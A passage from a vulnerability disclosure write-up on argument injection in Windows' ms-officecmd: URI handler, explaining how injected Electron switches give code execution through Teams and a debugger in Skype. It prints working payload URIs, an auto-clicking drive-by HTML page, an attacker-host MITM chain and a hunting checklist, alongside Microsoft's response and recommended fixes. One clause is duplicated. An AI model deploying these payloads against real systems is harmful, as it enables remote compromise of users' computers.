.characters are unavoidable. The file extension check inAppBridge.dllis bypassed by adding a/character at the end of the maliciousfilenamepayload.
ms-officecmd:{
"LocalProviders.LaunchOfficeAppForResult": {
"details": {
"appId": 21,
"name": "irrelevant",
"discovered": {
"command": "irrelevant"
}
},
"filename": "a:/b/\" --inspect=\"[redacted]:28966\" /"
}
}
Line by line:
"appId": 21selects Skype."filename": "a:/b/\" --inspect=\"[redacted]:28966\" /"starts with the fakea:/b/scheme, then a literal quote, then the--inspectswitch that opens the debugger on all network interfaces at port 28966, then a trailing/to get past the extension check.
The demo clicks a malicious link inside a VM and connects a debugger to the Skype process from the host system. For susceptible setups, the attack could be combined with DNS rebinding or NAT Slipstreaming to achieve RCE through the browser without local network access. DNS rebinding is a trick that makes a browser talk to a different computer than it thinks. NAT Slipstreaming is a trick that opens a path through a home router.
Step 5: an idea that was never confirmed
This potential exploit was never confirmed or attempted, because full RCE was achieved by the method in the next step first. RCE means remote code execution: someone else's code runs on your machine. The idea combines --host-rules and --inspect with the Chromium switch --disable-web-security to use control of the Chromium JavaScript context to reach the Node.js debugger. Chromium is the browser engine inside Electron. The JavaScript context is the environment in which a page's scripts run.
- Teams is launched via a malicious website with these parameters injected:
--host-rules="MAP <ms_teams_resources_host> <attacker_host>"--ignore-certificate-errors--inspect=1337--disable-web-security
- During startup, a malicious reverse proxy or web server at
<attacker_host>modifies legitimate resource files that make up the Teams UI to include a malicious JavaScript payload executed in the context of the embedded Chromium browser. - The malicious JavaScript requests the Node.js debugger metadata endpoint at
http://[redacted]:1337/json/listto retrieve the<random_uuid>required for the debugger connection. The--disable-web-securityswitch should disable the Same-origin policy, making the response visible. The Same-origin policy is a browser rule that stops one website from reading data from another. - The malicious JavaScript connects to
ws://[redacted]:1337/<random_uuid>to take control of the Node.js process and execute an OS command.ws://is the address format for a WebSocket, a two-way connection between a browser and a server.
Step 6: running commands with --gpu-launcher
This is the discovery that produced arbitrary code execution via a malicious ms-officecmd: URI, with Teams installed but not running. The payload is based on the exploit for CVE-2018-1000006, which uses --gpu-launcher to inject an arbitrary command executed when the Electron application launches. The GPU launcher is the part of Electron that starts the process handling graphics.
To make it work with the argument injection and Teams:
- Start
filenamewith a 1-character URI scheme to pass theAppBridge.dllvalidation without running into the Electron fix for CVE-2018-1000006, which still allows additional arguments after Windows filenames such asC:. - Inject the additional
--disable-gpu-sandboxargument. A sandbox is a security box that limits what a program can do; disabling it lets the launched command run freely. - Bypass the file extension check in
AppBridge.dllby either forgoing.characters or appending a/to the maliciousfilenamevalue. - Add a shell directive such as
&&at the end of the injected command to preserve valid syntax overall.&&means "and then run the next command".
ms-officecmd:{
"LocalProviders.LaunchOfficeAppForResult": {
"details": {
"appId": 5,
"name": "irrelevant",
"discovered": {
"command": "irrelevant"
}
},
"filename": "a:/b/ --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\System32\\cmd /c calc && \""
}
}
Line by line:
"appId": 5selects Teams."filename": "a:/b/ --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\System32\\cmd /c calc && \""starts with the fakea:/b/scheme, then adds--disable-gpu-sandbox, then sets--gpu-launcherto runcmd /c calc, which opens the calculator, and ends with&&so that whatever comes after remains a valid command.
Skype comes pre-installed on Windows 10 and multiple instances can be started in parallel by adding --secondary, so a valid payload for Skype should work on a default Windows 10 install without any precondition. No valid payload for Skype was found; extra security measures may have been implemented for Skype when it was found vulnerable to CVE-2018-1000006.
Step 7: no click needed in IE11 and Edge Legacy
While preparing the MSRC report, the researchers noticed that the report flow includes a mandatory dropdown asking whether the vulnerability reproduces on the latest Windows Insider Dev Channel. MSRC is the Microsoft Security Response Center, the team that handles security reports. The latest Windows 10 from that channel was installed to verify the exploit. It worked, and by simply adding JavaScript that clicks the malicious link, the pre-installed Internet Explorer 11 and the obsolete 'Legacy' version of Edge triggered code execution with no user interaction beyond browsing a malicious website. The initial assumption that all modern browsers have sensible defaults for obscure schemes like ms-officecmd: proved wrong.
<html>
Exploit in progress <a id="[l](https://positive.security/blog/ms-officecmd-rce#)" href="[ms-officecmd:{"id":3,"LocalProviders.LaunchOfficeAppForResult":{"details":{"appId":5,"name":"Teams","discovered":{"command":"teams.exe","uri":"msteams"}},"filename":"a:/b/%20--disable-gpu-sandbox%20--gpu-launcher=\"C:\\Windows\\System32\\cmd%20\/c%20ping%2016843009%20&&%20\""}}](https://ms-officecmd:{"id":3,"LocalProviders.LaunchOfficeAppForResult":{"details":{"appId":5,"name":"Teams","discovered":{"command":"teams.exe","uri":"msteams"}},"filename":"a:/b/%20--disable-gpu-sandbox%20--gpu-launcher=\"C:\\Windows\\System32\\cmd%20\/c%20ping%2016843009%20&&%20\""}})></a>
<script>document.getElementById("l").click(); </script>
Line by line:
<html>starts a web page.Exploit in progressis visible text.<a id="..." href="...">creates a link. Theidgives it a name so a script can find it. Thehrefis the address the link points to, which here is the maliciousms-officecmd:URI. The text inside the address uses"for a double quote and%20for a space, because those characters have special meanings in a web address.</a>ends the link.<script>document.getElementById("l").click(); </script>is JavaScript that finds the link by its id and clicks it automatically, so the visitor does not have to.
Other browsers show a rather inconspicuous confirmation dialog before opening the malicious URI, which IE and Edge Legacy do not. As an alternative to malicious websites, crafted ms-officecmd: URIs could be delivered via desktop applications performing unsafe URL handling.
The same payload appears in the MSRC report:
ms-officecmd:{"id":3,"LocalProviders.LaunchOfficeAppForResult":{"details":{"appId":5,"name":"Teams","discovered":{"command":"teams.exe","uri":"msteams"}},"filename":"a:/b/%20--disable-gpu-sandbox%20--gpu-launcher=\"C:\\Windows\\System32\\cmd%20\/c%20ping%2016843009%20&&%20\""}}
Line by line:
"id":3is the telemetry number."appId":5selects Teams."name":"Teams","command":"teams.exe"and"uri":"msteams"describe Teams."filename":"a:/b/%20--disable-gpu-sandbox%20--gpu-launcher=\"C:\\Windows\\System32\\cmd%20\/c%20ping%2016843009%20&&%20\""is the injected part.%20is an encoded space. The--gpu-launchervalue runscmd /c ping 16843009, and ends with&&to keep the command valid. and ends with&&to keep the command valid.
The report's payload summary explains the parts: the JSON structure conforms to what LocalBridge.exe/AppBridge.dll expects and instructs the handler to call the Teams executable via appId: 5 with filename as argument; filename starts with a 1-character URI scheme to pass the AppBridge.dll validation without hitting the Electron fix for CVE-2018-1000006; additional arguments are injected via the filename value to disable the GPU sandbox and prepend the payload command executed when the application's GPU process starts. The MSRC report also attaches a Thunderbird demo (3_Thunderbird_RCE.mp4) showing exploitation by opening a link in Thunderbird. Thunderbird is an email program.
Why it works
The core issue is an argument injection in the ms-officecmd: URI handler: the attacker-controlled filename property is passed into the launch command or arguments without preventing a " sequence from breaking out of the filename specification. The handler accepts, parses and validates JSON with a lot of information, and as a sink it can call a large number of diverse applications that behave slightly unexpectedly to a given URI scheme, file extension or special character. A sink is the place where data ends up and is used. The range of potentially malicious filename values spans implementation details of applications from various developer teams, which introduces a high attack surface and probability for inconsistencies. Attack surface means the total number of ways an attacker can try to get in.
Existing defences did not stop it. The AppBridge.dll checks (valid URI, no malicious file extension) are bypassed by a 1-letter URI scheme prefix such as a:/b/, by integer-format IP addresses, or by a trailing /. Electron's fix for CVE-2018-1000006, which drops additional arguments after a URI, has an exception for 1-letter URI schemes intended for Windows drive letters, and that exception is what allows the injected Electron arguments to survive. The --gpu-launcher command additionally needs --disable-gpu-sandbox, otherwise the external process is created but exits immediately.
What it means for users
On Windows 10, a user who visits a malicious website with IE11 or Edge Legacy, or who clicks a malicious ms-officecmd: link in any application, can have arbitrary commands executed on their computer. The drive-by variant requires Teams to be installed but not running. Through other browsers the victim must accept an inconspicuous confirmation dialog. The same argument injection is still present on Windows 11, which was not yet released at the time of the research.
Beyond direct RCE via --gpu-launcher, the report lists:
--host-rulesfor a full Electron MITM, for example to retrieve Teams messages and auth tokens, with--ignore-certificate-errorsto disable TLS checking entirely; as MITM the attacker can also inject JavaScript and strip CSP headers. MITM means man in the middle: someone secretly sitting between you and the service. CSP is a browser rule that limits which scripts a page may run.--inspect=[redacted]:1234to start a local Node.js debug server on all interfaces, letting an attacker in the local network retrieve the endpoint URL from/json/listand connect to the debug WebSocket to run arbitrary native code (also tested with Skype).- Application-specific arguments such as the
/lswitch in Word to load an add-in from a UNC path; UNC paths were verified to be accepted, but the impact of loading malicious Office add-ins was not evaluated. A UNC path is a network file address starting with two backslashes. - Without argument injection: Outlook phishing via a web URL in
filename, and Outlook code execution via aC:/.../some.exe/URL combined with Chrome's autodownload behaviour, after a security warning.
The fix
Microsoft's patch, issued after 5 months, seems to only affect Teams and Skype in particular. It prevents the RCE PoCs described, but the argument injection itself is still present on fully patched Windows 10 and 11 systems, and at the time of publishing arbitrary arguments could still be injected and the Outlook phishing attack performed. Microsoft said another patch addressing the argument injection was prepared and gave the go-ahead to publish independently of its rollout. No CVE was assigned and no advisory published; Microsoft explained that the fix did not go out through Windows Update, and that changes to websites, downloads through Defender or through the Store normally do not get a CVE attached in the same way.
The report recommends, if possible, removing the URI handler and migrating to application-specific handlers such as teams: and ms-word:, or making the handler available only to the Office PWA app. PWA means progressive web app, a website packaged to look like a normal program.
In addition:
- Strengthen filename validation in
AppBridge.dll: implement a URI scheme allow-list (preferably only http/https) and prevent injection of additional arguments. An allow-list is a list of things that are permitted, with everything else refused. - Improve Outlook URL argument handling: do not load websites inside the Outlook UI, and do not open local URIs when encountering an
X:/"scheme" (file://URIs are already blocked). - Harden Teams and Skype so they do not accept additional parameters even after 1-character URI schemes.
- Improve Edge URI handling: ask the user for confirmation before starting external programs as URI handlers.
Things worth testing next
- Other default Windows URI handlers. Enumerate them by searching the registry for
URL ProtocolunderComputer\HKEY_CLASSES_ROOT\*, or by typing each scheme into the browser address bar. A positive result is a handler that passes a user-controlled value into a command line and lets a"sequence add arguments. - Other launchable applications behind
ms-officecmd:. EnumerateappIdvalues and try injecting application-specific switches. A positive result is an observable change in behaviour, such as a suppressed splash screen from an injected/q. - Electron applications launched through a URI handler. Try a 1-letter URI scheme prefix such as
a:/b/followed by--gpu-launcher,--host-rules,--inspector--disable-web-security. A positive result is command execution, traffic redirected to your server, or a debugger reachable on a non-loopback interface. - File extension checks in front of argument injection. Try integer-format IP addresses to avoid
.characters, or a trailing/on the filename. A positive result is the application starting where it previously refused. - Browsers and other applications that open external schemes. Check whether a JavaScript redirect or a click reaches the handler without a confirmation dialog. A positive result is code execution with no prompt beyond browsing.
- Desktop applications performing unsafe URL handling as a delivery vector for the crafted URI, instead of a browser.
Glossary
- Add-in: an extra piece of software that plugs into a larger program to add features.
- API: the set of addresses and rules a program uses to talk to a service.
- Argument injection: slipping extra arguments into a command that was only meant to receive one, so the program does something the author did not intend.
- Attack surface: the total number of ways an attacker can try to get in.
- Authentication token: a short secret string that proves you are logged in, like a wristband at an event.
- Breakpoint: a marker that tells a debugger to pause a program at a certain line.
- Certificate: the proof a server shows that it is who it claims to be.
- Chromium: the browser engine inside Electron and several browsers.
- Command line argument: an extra word added after a program's name to change how it behaves.
- Constant: a named value that does not change while a program runs.
- CSP: a browser rule that limits which scripts a page may run.
- CVE: a public identifier for a known security flaw.
- Debugger: a tool that can pause a program and run code inside it.
- Decompiling: turning a compiled program back into readable source code.
- DLL: a library of code that other programs load and use.
- DNS rebinding: a trick that makes a browser talk to a different computer than it thinks.
- Drive-by: an attack that runs just by visiting a page, with no click needed.
- Electron: a framework that lets programs be built with web technology.
- File extension check: looking at the end of a file name, such as
.exe, to decide whether it is dangerous. - Ghidra: a tool that turns compiled native programs back into readable code.
- GPU launcher: the part of Electron that starts the process handling graphics.
- Host name: a readable name for a computer, like
example.com. - Iframe: a frame inside a webpage that loads another page or file.
- IP address: a number that identifies a computer on a network.
- JSON: a way of writing structured information as key and value pairs.
- JsonReaderException: an error a program raises when the text it is given is not valid JSON.
- MITM: man in the middle; someone secretly sitting between you and the service.
- MSRC: the Microsoft Security Response Center, the team that handles security reports.
- NAT Slipstreaming: a trick that opens a path through a home router.
- Node.js: a way to run JavaScript outside a browser.
- Phishing: tricking someone into entering their password on a fake page.
- Port: a numbered door on a computer that network traffic goes through.
- Process Monitor: a tool that records every program Windows starts.
- PWA: progressive web app, a website packaged to look like a normal program.
- RCE: remote code execution; someone else's code runs on your machine.
- Registry: the database where Windows stores settings, including URI handlers.
- Reverse proxy: a server that sits in the middle and forwards traffic.
- Sandbox: a security box that limits what a program can do.
- Scheme: the name before the colon in a link, such as
httpsormailto. - Shell command: a line of text the operating system runs, like a recipe.
- Sink: the place where data ends up and is used.
- Splash screen: the loading image a program shows while it starts.
- Telemetry: logging and statistics a program sends about itself.
- TLS: the encryption that protects web traffic.
- UNC path: a network file address starting with two backslashes.
- URI handler: a shortcut registered with the operating system that opens a program when a link with a certain scheme is used.
- UWP: Microsoft's format for apps installed from its Store.
- Variable: a named box in memory that holds a value.
- WebSocket: a two-way connection between a browser and a server.
- Webview: a small browser window built into another program.